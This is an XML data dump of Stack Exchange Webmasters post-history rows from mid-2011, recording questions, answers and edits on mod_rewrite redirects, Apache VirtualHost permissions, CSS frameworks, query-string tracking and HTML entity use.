  <row Id="38536" PostHistoryTypeId="25" PostId="16186" RevisionGUID="4fa5cf52-2701-41cf-9826-0a201bad3c69" CreationDate="2011-06-29T21:26:04.537" Comment="http://twitter.com/#!/StackWebmasters/status/86183675145879552" />
  <row Id="38537" PostHistoryTypeId="2" PostId="16206" RevisionGUID="a7984bc3-f280-455a-88e0-fdddfb5017e4" CreationDate="2011-06-29T21:34:16.240" UserId="8708" Text="Maybe not exactly what you are looking for, but [Toucan CSS reset][1] set's a default template that is cross-browser compatible... &#xD;&#xA;&#xD;&#xA;  [1]: http://borderleft.com/labs" />
  <row Id="38538" PostHistoryTypeId="2" PostId="16207" RevisionGUID="68465f0e-948f-48b9-af36-1d7f05c3d8b2" CreationDate="2011-06-29T21:49:12.247" UserId="8709" Text="I am a beginning Webmaster (relatively), with 2+ years of php experience. I also have some java training and a bit of .net.&#xD;&#xA;&#xD;&#xA;My company is now close to redeveloping the website that I work on, which is coded primarily in php, but has some poorly-written .net in part as well (it's confusing and ill-planned, but I didn't make any of those decisions. Can anyone say action-oriented .net and JScript?).&#xD;&#xA;&#xD;&#xA;So, I'm trying to decide which language I should learn next to quickly develop a new site. I will probably just redevelop it at first in php because I'm very comfortable with it. However, I'd like to migrate in the next year to something newer and more forward-thinking.&#xD;&#xA;&#xD;&#xA;This being said, .net is out of the question a little bit. We need cheap developers who are fast and can get pages up quickly. In this part of the country, part-time .net developers are hard to find.&#xD;&#xA;&#xD;&#xA;So, we need something that will be pretty standard in the next few years, but we have some .net SOAP 1.1 APIs that we use on our actual service (separate from the corporate website), that we will need to integrate part of the site with. Developing with php and SOAP is much more difficult than doing the same thing.&#xD;&#xA;&#xD;&#xA;So, I may have to develop the API collaborative part in .net just to be easy, and then I'd like to use something else that is fast, flexible, forward thinking, and will be relatively standard and easy to find developers for. So, any ideas? Python? Ruby on Rails? Another framework?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks for your thoughts. Sorry, I know this was long, but it's all very convoluted and confusing so I needed to be slightly long-winded." />
  <row Id="38539" PostHistoryTypeId="1" PostId="16207" RevisionGUID="68465f0e-948f-48b9-af36-1d7f05c3d8b2" CreationDate="2011-06-29T21:49:12.247" UserId="8709" Text="Which Language Next? Python? Ruby on Rails?" />
  <row Id="38540" PostHistoryTypeId="3" PostId="16207" RevisionGUID="68465f0e-948f-48b9-af36-1d7f05c3d8b2" CreationDate="2011-06-29T21:49:12.247" UserId="8709" Text="&lt;php&gt;&lt;ruby-on-rails&gt;&lt;api&gt;&lt;python&gt;&lt;.net&gt;" />
  <row Id="38541" PostHistoryTypeId="5" PostId="16207" RevisionGUID="7d716c0e-5998-4522-a4d7-63d8733b14f5" CreationDate="2011-06-29T22:06:45.477" UserId="8709" Comment="added 11 characters in body; edited title" Text="I am a beginning Webmaster (relatively), with 2+ years of php experience. I also have some java training and a bit of .net.&#xD;&#xA;&#xD;&#xA;My company is now close to redeveloping the website that I work on, which is coded primarily in php, but has some poorly-written .net in part as well (it's confusing and ill-planned, but I didn't make any of those decisions. Can anyone say action-oriented .net and JScript?).&#xD;&#xA;&#xD;&#xA;So, I'm trying to decide which language I should learn next to quickly develop a new site. I will probably just redevelop it at first in php because I'm very comfortable with it. However, I'd like to migrate in the next year to something newer and more forward-thinking.&#xD;&#xA;&#xD;&#xA;This being said, .net is out of the question a little bit. We need cheap developers who are fast and can get pages up quickly. In this part of the country, part-time .net developers are hard to find.&#xD;&#xA;&#xD;&#xA;So, we need something that will be pretty standard in the next few years, but we have some .net SOAP 1.1 APIs that we use on our actual service (separate from the corporate website), that we will need to integrate part of the site with. Developing with php and SOAP is much more difficult than doing the same thing.&#xD;&#xA;&#xD;&#xA;So, I may have to develop the API collaborative part in .net just to be easy, and then I'd like to use something else that is fast, flexible, forward thinking, and will be relatively standard and easy to find developers for. So, any ideas? Python and Django? Ruby on Rails? Another framework?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks for your thoughts. Sorry, I know this was long, but it's all very convoluted and confusing so I needed to be slightly long-winded." />
  <row Id="38542" PostHistoryTypeId="4" PostId="16207" RevisionGUID="7d716c0e-5998-4522-a4d7-63d8733b14f5" CreationDate="2011-06-29T22:06:45.477" UserId="8709" Comment="added 11 characters in body; edited title" Text="Which Language Next? Python? Ruby?" />
  <row Id="38543" PostHistoryTypeId="10" PostId="16207" RevisionGUID="0b24320d-d77f-4506-b443-e89a1ff11f13" CreationDate="2011-06-29T22:10:05.757" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="38544" PostHistoryTypeId="5" PostId="12550" RevisionGUID="97e175eb-87dd-43b8-841b-65825d54c483" CreationDate="2011-06-29T22:12:36.610" UserId="4033" Comment="corrected spelling in the title" Text="I need to upload a file to site with PHP code. How to set permission for upload folder if I want to users cant access to file by URL but PHP code read this file ?" />
  <row Id="38545" PostHistoryTypeId="4" PostId="12550" RevisionGUID="97e175eb-87dd-43b8-841b-65825d54c483" CreationDate="2011-06-29T22:12:36.610" UserId="4033" Comment="corrected spelling in the title" Text="File Access Permission" />
  <row Id="38546" PostHistoryTypeId="24" PostId="12550" RevisionGUID="97e175eb-87dd-43b8-841b-65825d54c483" CreationDate="2011-06-29T22:12:36.610" Comment="Proposed by 4033 approved by 1253 edit id of 421" />
  <row Id="38547" PostHistoryTypeId="2" PostId="16208" RevisionGUID="47e64bfc-e800-4967-99f1-792793595d8a" CreationDate="2011-06-29T22:33:13.723" UserId="313" Text="[Baseline][1] is a good starting point.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://baselinecss.com/" />
  <row Id="38548" PostHistoryTypeId="17" PostId="16209" RevisionGUID="68fa92a5-4fb3-40dc-8b96-1922b38b2635" CreationDate="2011-06-29T22:40:50.493" UserId="-1" Comment="from http://stackoverflow.com/questions/6526168/mod-rewrite-change-extention-of-a-page" Text="" />
  <row Id="38549" PostHistoryTypeId="2" PostId="16210" RevisionGUID="7ffda0a8-8efe-46d9-87b0-f042e482a4c4" CreationDate="2011-06-29T19:41:20.737" UserDisplayName="atrljoe" Text="    RewriteEngine On&#xD;&#xA;    RewriteRule ^(.*)\.abc$ $1.php&#xD;&#xA;&#xD;&#xA;that should change all of your pages from `.PHP` to `.ABC`" />
  <row Id="38550" PostHistoryTypeId="2" PostId="16209" RevisionGUID="e33f4d8e-d791-4634-85ff-3715ef673a0d" CreationDate="2011-06-29T19:31:31.360" UserDisplayName="ShirazITCo" Text="i want to mod rewrite change extension of any page to what i want.&#xD;&#xA;&#xD;&#xA;for ex. i want change `index.php` to `index.abc`&#xD;&#xA;&#xD;&#xA;is it possible with mod rewrite?" />
  <row Id="38551" PostHistoryTypeId="1" PostId="16209" RevisionGUID="e33f4d8e-d791-4634-85ff-3715ef673a0d" CreationDate="2011-06-29T19:31:31.360" UserDisplayName="ShirazITCo" Text="Mod Rewrite change extention of a page" />
  <row Id="38552" PostHistoryTypeId="3" PostId="16209" RevisionGUID="e33f4d8e-d791-4634-85ff-3715ef673a0d" CreationDate="2011-06-29T19:31:31.360" UserDisplayName="ShirazITCo" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="38553" PostHistoryTypeId="17" PostId="16210" RevisionGUID="a3042ab6-e92b-46d9-bf43-cdf2cff39c9f" CreationDate="2011-06-29T22:40:50.493" UserId="-1" Comment="from http://stackoverflow.com/questions/6526168/mod-rewrite-change-extention-of-a-page" Text="" />
  <row Id="38554" PostHistoryTypeId="2" PostId="16211" RevisionGUID="6065d060-9c0e-43e1-bdbb-3dc15077ed40" CreationDate="2011-06-29T22:48:36.517" UserId="8581" Text="- Some users probably click away before the pag fully loads&#xD;&#xA;- Some users have connection problems for the second request&#xD;&#xA;- Browsers without JS support or with JS disabled&#xD;&#xA;- Maybe security settings? These files are both being loaded from he same domain right?&#xD;&#xA;- Maybe there's a bug in the JS that's preventing some browsers from loading the second file. Is there a correlation with browser type/version?&#xD;&#xA;- Web spiders&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38555" PostHistoryTypeId="25" PostId="16204" RevisionGUID="b5f5034a-48d9-472f-bbf9-6189a90bc3e6" CreationDate="2011-06-30T00:26:05.643" Comment="http://twitter.com/#!/StackWebmasters/status/86228975432634368" />
  <row Id="38556" PostHistoryTypeId="5" PostId="16130" RevisionGUID="f5c03573-9fcf-410b-ade9-2376daec9dc9" CreationDate="2011-06-30T00:56:46.127" UserId="42" Comment="reworded for clarity" Text="I've been asked to create a website for a _very_ small church.  Given the limited budget and lack of technical staff, what is the best option for building a site that is low-cost (or preferably free) which a church member can easily maintain and modify?  &#xD;&#xA;&#xD;&#xA;The church's previous site was hosted on Geocities if that gives you any idea of the type of site they are looking for.  The site doesn't necessarily have to contain a CMS, the emphasis here is on cheap and easy." />
  <row Id="38561" PostHistoryTypeId="2" PostId="16213" RevisionGUID="123f0fd2-399f-43ef-a319-50e068931683" CreationDate="2011-06-30T01:12:03.593" UserId="8687" Text="Look at some of the CSS Frameworks. I've used ones such as [Blueprint][1] and [960][2]. Or if you want a HTML5 CSS3 one try [52 Framework][3]. Each of these CSS Frameworks have some ready made templates that you can just drop your content into without worrying about design. Also they have been thoroughly tested and work in all browsers, even back as far as IE6. So you can quickly build your site without worrying about any browswer issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.blueprintcss.org/ &quot;Blueprint&quot;&#xD;&#xA;  [2]: http://960.gs/ &quot;960&quot;&#xD;&#xA;  [3]: http://52framework.com/ &quot;52 Framework&quot;" />
  <row Id="38572" PostHistoryTypeId="25" PostId="16195" RevisionGUID="99eecb27-c2fc-4323-a23b-abffc06d72d8" CreationDate="2011-06-30T03:26:06.390" Comment="http://twitter.com/#!/StackWebmasters/status/86274278915448832" />
  <row Id="38573" PostHistoryTypeId="2" PostId="16215" RevisionGUID="86d479ff-0fc1-43f5-a666-777eec5cd452" CreationDate="2011-06-30T03:49:17.200" UserId="8714" Text="If you are looking for a cms you can use Drupal, it's a great option, there's a LDAP module so you can use with Active Directory. Sharepoint Foundations is great too like @Phil points out, but only runs on windows." />
  <row Id="38574" PostHistoryTypeId="2" PostId="16216" RevisionGUID="aab69c1b-c74d-4001-a389-d1e3de819e01" CreationDate="2011-06-30T03:56:56.167" UserId="8715" Text="In the Google Analytics content overview for a site that I work on, the home page is getting many pageviews with some unfamiliar query string fragments, example:&#xD;&#xA;&#xD;&#xA;    /?jkId=1234567890abcdef1234567890abcdef&amp;jt=1&amp;jadid=1234567890&amp;js=1&amp;jk=key words&amp;jsid=12345&amp;jmt=1&#xD;&#xA;&#xD;&#xA;(potentially identifiable IDs have been changed)&#xD;&#xA;&#xD;&#xA;It clearly looks like some kind of ad tracking info, but noone who works on the site knows where it comes from, and I haven't been able to find any useful information from searching.&#xD;&#xA;&#xD;&#xA;Is there some listing of common query string keys available anywhere?  Alternatively, does anyone happen to know where these keys (`jkId`, `jt`, `jadid`, `js`, `jk`, `jsid` and `jmt`) might come from?" />
  <row Id="38575" PostHistoryTypeId="1" PostId="16216" RevisionGUID="aab69c1b-c74d-4001-a389-d1e3de819e01" CreationDate="2011-06-30T03:56:56.167" UserId="8715" Text="How can I identify unknown query string fragments that are coming to my site?" />
  <row Id="38576" PostHistoryTypeId="3" PostId="16216" RevisionGUID="aab69c1b-c74d-4001-a389-d1e3de819e01" CreationDate="2011-06-30T03:56:56.167" UserId="8715" Text="&lt;google-analytics&gt;&lt;tracking&gt;&lt;query-string&gt;" />
  <row Id="38577" PostHistoryTypeId="2" PostId="16217" RevisionGUID="2d383d38-35bc-4ba9-9c1f-165fb08516c0" CreationDate="2011-06-30T04:19:54.717" UserId="8511" Text="I expanded on the excellent answer by @Pheonix.&#xD;&#xA;&#xD;&#xA;I am using Apache with virtualhosts, so this specifically applies to that.&#xD;&#xA;&#xD;&#xA;I had four variations of URLs - www.thisdomain.com, thisdomain.com, www.thisdomain.org and thisdomain.org. I selected thisdomain.org as the definitive one. I split the virtualhost entry in Apache so I had one directory for the com and one for the org. I left all the PHP code alone in the org, and had an empty directory for the com. In the com directory I created a .htaccess file like @Pheonix suggested. I expanded it a little so that www.thisdomain.com and thisdomain.com would be redirected to thisdomain.org.&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{http_host} ^thisdomain.com [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://thisdomain.org/$1 [R=301,NC,L]&#xD;&#xA;    RewriteCond %{http_host} ^www.thisdomain.com [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://thisdomain.org/$1 [R=301,NC,L]&#xD;&#xA;&#xD;&#xA;I could probably simply this by using [OR] and combining the two RewriteCond conditions and having only one RewriteRule.&#xD;&#xA;&#xD;&#xA;Then in the directory for the org, I added another .htaccess file like this:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{http_host} ^www.thisdomain.org [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://thisdomain.org/$1 [R=301,NC,L]`&#xD;&#xA;&#xD;&#xA;This redirects www.thisdomain.org to thisdomain.org. And now all four URL variations go to thisdomain.org and there is no duplicate content." />
  <row Id="38578" PostHistoryTypeId="2" PostId="16218" RevisionGUID="6183329d-b83e-43c7-8c1c-12865d61ad73" CreationDate="2011-06-30T04:36:04.403" UserId="8716" Text="I had an e-commerce website hosted on http://mydomain.com/beta for more than a year, eventually I decided to move the website to root http://mydomain.com  I had done quite a lot of link postings to forums etc, when my site used to be hosted in the sub-dir /beta . Is there any way to do a mod_rewrite by which all the old links that I have posted do not return as broken links since now longer the site is hosted in /beta and is now hosted on the site root.&#xD;&#xA;&#xD;&#xA;I did read that mod_rewrite can help resolve this issue, but also read about that this has to be done with care. Just a tip that this site is using Friendl URL." />
  <row Id="38579" PostHistoryTypeId="1" PostId="16218" RevisionGUID="6183329d-b83e-43c7-8c1c-12865d61ad73" CreationDate="2011-06-30T04:36:04.403" UserId="8716" Text="url mod_rewrite" />
  <row Id="38580" PostHistoryTypeId="3" PostId="16218" RevisionGUID="6183329d-b83e-43c7-8c1c-12865d61ad73" CreationDate="2011-06-30T04:36:04.403" UserId="8716" Text="&lt;mod-rewrite&gt;" />
  <row Id="38583" PostHistoryTypeId="2" PostId="16220" RevisionGUID="9acc5bfe-e33a-4905-9371-6a729dfe117b" CreationDate="2011-06-30T05:14:11.510" UserId="8530" Text="Which is best browser for android phone? I am currently using Dolhin HD browser " />
  <row Id="38584" PostHistoryTypeId="1" PostId="16220" RevisionGUID="9acc5bfe-e33a-4905-9371-6a729dfe117b" CreationDate="2011-06-30T05:14:11.510" UserId="8530" Text="Which is best browser for android phone?" />
  <row Id="38585" PostHistoryTypeId="3" PostId="16220" RevisionGUID="9acc5bfe-e33a-4905-9371-6a729dfe117b" CreationDate="2011-06-30T05:14:11.510" UserId="8530" Text="&lt;browsers&gt;&lt;mobile&gt;&lt;android&gt;" />
  <row Id="38586" PostHistoryTypeId="25" PostId="16216" RevisionGUID="6a931add-1060-4d4d-9571-09baf7b6947d" CreationDate="2011-06-30T06:26:07.270" Comment="http://twitter.com/#!/StackWebmasters/status/86319579856506880" />
  <row Id="38587" PostHistoryTypeId="5" PostId="16220" RevisionGUID="d8482cfd-2350-4b6c-b633-15bfa6595242" CreationDate="2011-06-30T06:41:41.607" UserId="8530" Comment="added 1 characters in body" Text="Which is best browser for android phone? I am currently using Dolphin HD browser " />
  <row Id="38588" PostHistoryTypeId="2" PostId="16221" RevisionGUID="58b43ba5-cb2b-41ae-80cf-c413a3115a04" CreationDate="2011-06-30T07:40:50.480" UserId="7198" Text="It appears to be related to the [Searchforce](http://www.searchforce.com/) link tracking service. Three of the five sites I checked in Google search results for &quot;jsid jadid&quot; featured a link back to [this piece of JavaScript](http://sftrack.searchforce.net/SFConversionTracking/CTCommon.js) in their source code, which references several of the query string keys you mention.&#xD;&#xA;&#xD;&#xA;If no-one in your company is using Searchforce to run and optimise pay-per-click ad campaigns, it's possible that someone you've hired is doing so.&#xD;&#xA;&#xD;&#xA;There's no directory of query strings, unfortunately, so finding sites that share common strings and looking for similarities in the JavaScript libraries they link to is often your best bet at determining the source." />
  <row Id="38589" PostHistoryTypeId="2" PostId="16222" RevisionGUID="ae33be52-20a6-4826-ad0d-29d531d90801" CreationDate="2011-06-30T08:04:51.330" UserId="1643" Text="I have no experience of [Church123][1], but they are trying to do what you want - keeping it simple. Whether you count it low cost ($370/year plus more for domain names) is your call.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.church123.com/welcome.htm" />
  <row Id="38590" PostHistoryTypeId="2" PostId="16223" RevisionGUID="350a891c-89e2-4e7e-ac15-ffb53a8b722f" CreationDate="2011-06-30T08:25:55.353" UserId="8668" Text="The Apache instalation of MacOSX is running Ok. I have tried to create a VirtualHost called test.local, but as soon as I uncomment from /private/etc/apache2/httpd.conf the line Include /private/etc/apache2/extra/httpd-vhosts.conf, and try to access test.local virtualhost I get an error &quot;You don't have permission to access / on this server&quot;.&#xD;&#xA;&#xD;&#xA;The VirtualHost configuration in /private/etc/apache2/extra/httpd-vhosts.conf is:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;      ServerName test.local&#xD;&#xA;      DocumentRoot &quot;/Users/username/Sites/Test/public&quot;&#xD;&#xA;      &lt;Directory &quot;/Users/username/Sites/Test/public&quot;&gt;&#xD;&#xA;        Options Indexes FollowSymLinks Includes&#xD;&#xA;        AllowOverride All&#xD;&#xA;        Order allow,deny&#xD;&#xA;        Allow from all&#xD;&#xA;      &lt;/Directory&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;I have also include the VirtualHost in hosts file:&#xD;&#xA;&#xD;&#xA;    127.0.0.1 test.local&#xD;&#xA;&#xD;&#xA; " />
  <row Id="38591" PostHistoryTypeId="1" PostId="16223" RevisionGUID="350a891c-89e2-4e7e-ac15-ffb53a8b722f" CreationDate="2011-06-30T08:25:55.353" UserId="8668" Text="MacOSX VirtualHost: &quot;You don't have permission to access / on this server&quot; error" />
  <row Id="38592" PostHistoryTypeId="3" PostId="16223" RevisionGUID="350a891c-89e2-4e7e-ac15-ffb53a8b722f" CreationDate="2011-06-30T08:25:55.353" UserId="8668" Text="&lt;apache&gt;&lt;virtualhost&gt;&lt;mac&gt;" />
  <row Id="38593" PostHistoryTypeId="5" PostId="16223" RevisionGUID="9b99dd1b-0211-4e8a-916f-0aeb7c407b97" CreationDate="2011-06-30T08:27:55.900" UserId="1643" Comment="put line from file on it's own line - easier to read" Text="The Apache instalation of MacOSX is running Ok. I have tried to create a VirtualHost called test.local, but as soon as I uncomment from /private/etc/apache2/httpd.conf the line&#xD;&#xA;&#xD;&#xA;    Include /private/etc/apache2/extra/httpd-vhosts.conf&#xD;&#xA;&#xD;&#xA;and try to access test.local virtualhost I get an error &quot;You don't have permission to access / on this server&quot;.&#xD;&#xA;&#xD;&#xA;The VirtualHost configuration in /private/etc/apache2/extra/httpd-vhosts.conf is:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;      ServerName test.local&#xD;&#xA;      DocumentRoot &quot;/Users/username/Sites/Test/public&quot;&#xD;&#xA;      &lt;Directory &quot;/Users/username/Sites/Test/public&quot;&gt;&#xD;&#xA;        Options Indexes FollowSymLinks Includes&#xD;&#xA;        AllowOverride All&#xD;&#xA;        Order allow,deny&#xD;&#xA;        Allow from all&#xD;&#xA;      &lt;/Directory&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;I have also include the VirtualHost in hosts file:&#xD;&#xA;&#xD;&#xA;    127.0.0.1 test.local&#xD;&#xA;&#xD;&#xA; " />
  <row Id="38594" PostHistoryTypeId="5" PostId="16223" RevisionGUID="17a79fe0-b37b-41e9-827b-79ad97988e7d" CreationDate="2011-06-30T08:28:30.657" UserId="8668" Comment="added 14 characters in body" Text="The Apache instalation of MacOSX is running Ok.&#xD;&#xA;&#xD;&#xA;I have tried to create a VirtualHost called test.local, but as soon as I uncomment from /private/etc/apache2/httpd.conf the line&#xD;&#xA;&#xD;&#xA;    Include /private/etc/apache2/extra/httpd-vhosts.conf&#xD;&#xA;&#xD;&#xA;, and try to access test.local virtualhost I get an error &quot;You don't have permission to access / on this server&quot;.&#xD;&#xA;&#xD;&#xA;The VirtualHost configuration in /private/etc/apache2/extra/httpd-vhosts.conf is:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;      ServerName test.local&#xD;&#xA;      DocumentRoot &quot;/Users/username/Sites/Test/public&quot;&#xD;&#xA;      &lt;Directory &quot;/Users/username/Sites/Test/public&quot;&gt;&#xD;&#xA;        Options Indexes FollowSymLinks Includes&#xD;&#xA;        AllowOverride All&#xD;&#xA;        Order allow,deny&#xD;&#xA;        Allow from all&#xD;&#xA;      &lt;/Directory&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;I have also include the VirtualHost in hosts file:&#xD;&#xA;&#xD;&#xA;    127.0.0.1 test.local&#xD;&#xA;&#xD;&#xA; " />
  <row Id="38595" PostHistoryTypeId="2" PostId="16224" RevisionGUID="e5023d66-4036-4c0f-aed9-2d78e4753176" CreationDate="2011-06-30T08:45:00.330" UserId="6515" Text="[Something I created][1] long time ago.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jsfiddle.net/salman/7twWb/" />
  <row Id="38601" PostHistoryTypeId="25" PostId="16188" RevisionGUID="9ba5646e-da48-4728-9f4c-fc588b62d0b5" CreationDate="2011-06-30T09:26:07.253" Comment="http://twitter.com/#!/StackWebmasters/status/86364879904186368" />
  <row Id="38605" PostHistoryTypeId="2" PostId="16229" RevisionGUID="2f668b91-0944-4669-bf04-d505a680f87a" CreationDate="2011-06-30T09:50:47.240" UserId="8354" Text="The rules below will redirect (301, permanent redirect -- will change address in URL bar as well) all incoming requests from `http://www.example.com/beta/` to `http://www.example.com/`&#xD;&#xA;&#xD;&#xA;    # activate rewrite engine&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    # redirect from /beta/ to /&#xD;&#xA;    RewriteRule ^beta/(.*)$ http://www.example.com/$1 [R=301,L,QSA]&#xD;&#xA;&#xD;&#xA;If you need just rewrite (so URL stays the same in browser's adderss bar -- i.e. still contains `/beta/`) then replace last line by this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^beta/(.*)$ /$1 [L,QSA]&#xD;&#xA;" />
  <row Id="38606" PostHistoryTypeId="2" PostId="16230" RevisionGUID="aaa32048-a42e-4fb6-a0f0-aba9565a5a93" CreationDate="2011-06-30T10:01:07.487" UserId="7588" Text="There is no need to overcomplicate matters, the one 'redirect' line will deal with everything in your sub directories and do the 301 thing:&#xD;&#xA;&#xD;&#xA;    Redirect permanent /beta /" />
  <row Id="38607" PostHistoryTypeId="2" PostId="16231" RevisionGUID="31d47d4e-50b3-4e02-93db-b5bb11d8e945" CreationDate="2011-06-30T10:01:42.107" UserId="7198" Text="This sounds like a permissions issue. To fix it, bring up a Terminal window, then type the following:&#xD;&#xA;&#xD;&#xA;   `chmod 755 ~/Sites/Test/public/`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This changes the permissions of the `public` folder. Try browsing to `http://test.local` again and you should find it now displays the contents. (No need to restart Apache.)" />
  <row Id="38608" PostHistoryTypeId="2" PostId="16232" RevisionGUID="52658cce-80fa-4255-9f3c-d4f4a3bfb87a" CreationDate="2011-06-30T10:40:08.297" UserId="7198" Text="You should get advertisers to sign or otherwise accept an official 'Advertising Agreement' as part of the ad submissions process; after they upload their image, for example, or by returning a signed PDF if they submit ad artwork by email.&#xD;&#xA;&#xD;&#xA;Ideally you'd pay a lawyer to draft this agreement for you so that it's specific to your needs; it could include a clause that protects you should the ad prove offensive or violate trademarks, for example.&#xD;&#xA;&#xD;&#xA;If you're not able to pay a lawyer, there are pre-existing templates for Advertising Agreements, such as [this one](http://www.website-contracts.co.uk/acatalog/advertising_agreement.html), although I generally advise against using off-the-shelf legal forms; they are often too broad to offer dependable protection, and people sometimes forget to check that the template they're purchasing is written for the country they're operating in." />
  <row Id="38609" PostHistoryTypeId="2" PostId="16233" RevisionGUID="85f35759-2fba-44bd-b3dd-0995158aa939" CreationDate="2011-06-30T11:10:52.110" UserId="5727" Text="We are going through our site analysing the SEO.  I find that sometimes on a google results page, some results show a date, others don't.  Example (from same query):&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;I prefer the result not to have the date in it, as 20 Oct 2009 probably has an adverse effect on the clickability of the result.&#xD;&#xA;&#xD;&#xA;Is this Google putting it in?  Or the page itself?  Or a combination of both (IE, if over a certain age, it includes date).&#xD;&#xA;&#xD;&#xA;The two URLs are:&#xD;&#xA;&#xD;&#xA;http://www.scirra.com/forum/perlin-noise-plugin_topic38498.html&#xD;&#xA;&#xD;&#xA;http://www.scirra.com/forum/dungeon-maze-generator_topic40611.html&#xD;&#xA;&#xD;&#xA;Any way to remove the dates?  I'm thinking, if the age of the thread is &gt; 4 months don't display the date on the page, then Google might not find a date reference for it?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/WFgMN.gif" />
  <row Id="38610" PostHistoryTypeId="1" PostId="16233" RevisionGUID="85f35759-2fba-44bd-b3dd-0995158aa939" CreationDate="2011-06-30T11:10:52.110" UserId="5727" Text="Removing date from Google SERP" />
  <row Id="38611" PostHistoryTypeId="3" PostId="16233" RevisionGUID="85f35759-2fba-44bd-b3dd-0995158aa939" CreationDate="2011-06-30T11:10:52.110" UserId="5727" Text="&lt;seo&gt;&lt;google&gt;&lt;serps&gt;&lt;dates&gt;" />
  <row Id="38612" PostHistoryTypeId="2" PostId="16234" RevisionGUID="18edea3b-bbc7-4780-a3de-33dbd966e3bd" CreationDate="2011-06-30T11:43:26.110" UserId="7191" Text="&#xD;&#xA;I'm noticing that browsers correctly parse &quot;&amp;&quot; when they encounter them.&#xD;&#xA;&#xD;&#xA;So is there any reason i should be using &amp;amp; in HTML text on my site?" />
  <row Id="38613" PostHistoryTypeId="1" PostId="16234" RevisionGUID="18edea3b-bbc7-4780-a3de-33dbd966e3bd" CreationDate="2011-06-30T11:43:26.110" UserId="7191" Text="Using &amp;amp; instead of &amp; ?" />
  <row Id="38614" PostHistoryTypeId="3" PostId="16234" RevisionGUID="18edea3b-bbc7-4780-a3de-33dbd966e3bd" CreationDate="2011-06-30T11:43:26.110" UserId="7191" Text="&lt;html&gt;&lt;standards&gt;" />
  <row Id="38615" PostHistoryTypeId="2" PostId="16235" RevisionGUID="a5f42a14-2c4c-4d17-b2d6-aa7cc451a814" CreationDate="2011-06-30T11:43:42.690" UserId="1253" Text="Unfortunately there is not way to do that as of right now. " />
  <row Id="38616" PostHistoryTypeId="2" PostId="16236" RevisionGUID="cae408f4-0ea8-4981-9d59-0d7dac944615" CreationDate="2011-06-30T11:47:07.583" UserId="1253" Text="From [w3c][1]:&#xD;&#xA;&#xD;&#xA;&gt; Authors should use `&amp;amp;` (ASCII decimal 38) instead of &quot;&amp;&quot; to avoid confusion with the beginning of a character reference (entity reference open delimiter).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/html4/charset.html" />
  <row Id="38617" PostHistoryTypeId="10" PostId="16220" RevisionGUID="809c8848-9531-4325-8e3c-e6be0741486f" CreationDate="2011-06-30T11:47:42.980" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="38621" PostHistoryTypeId="5" PostId="16218" RevisionGUID="39435bef-4e22-4e00-bb10-11e121aee9ec" CreationDate="2011-06-30T11:51:05.520" UserId="5117" Comment="Reformatted " Text="I had an e-commerce website hosted on http://mydomain.com/beta for more than a year, eventually I decided to move the website to root http://mydomain.com&#xD;&#xA;&#xD;&#xA;I had done quite a lot of link postings to forums etc, when my site used to be hosted in the sub-dir /beta. &#xD;&#xA;&#xD;&#xA;Is there a way to do a mod_rewrite by which all the old links that I have posted do not return as broken links, since now longer the site is hosted in /beta and is now hosted on the site root.&#xD;&#xA;&#xD;&#xA;I did read that mod_rewrite can help resolve this issue, but also read about that this has to be done with care. Just a tip that this site is using friendly URL." />
  <row Id="38622" PostHistoryTypeId="24" PostId="16218" RevisionGUID="39435bef-4e22-4e00-bb10-11e121aee9ec" CreationDate="2011-06-30T11:51:05.520" Comment="Proposed by 5117 approved by 1253 edit id of 422" />
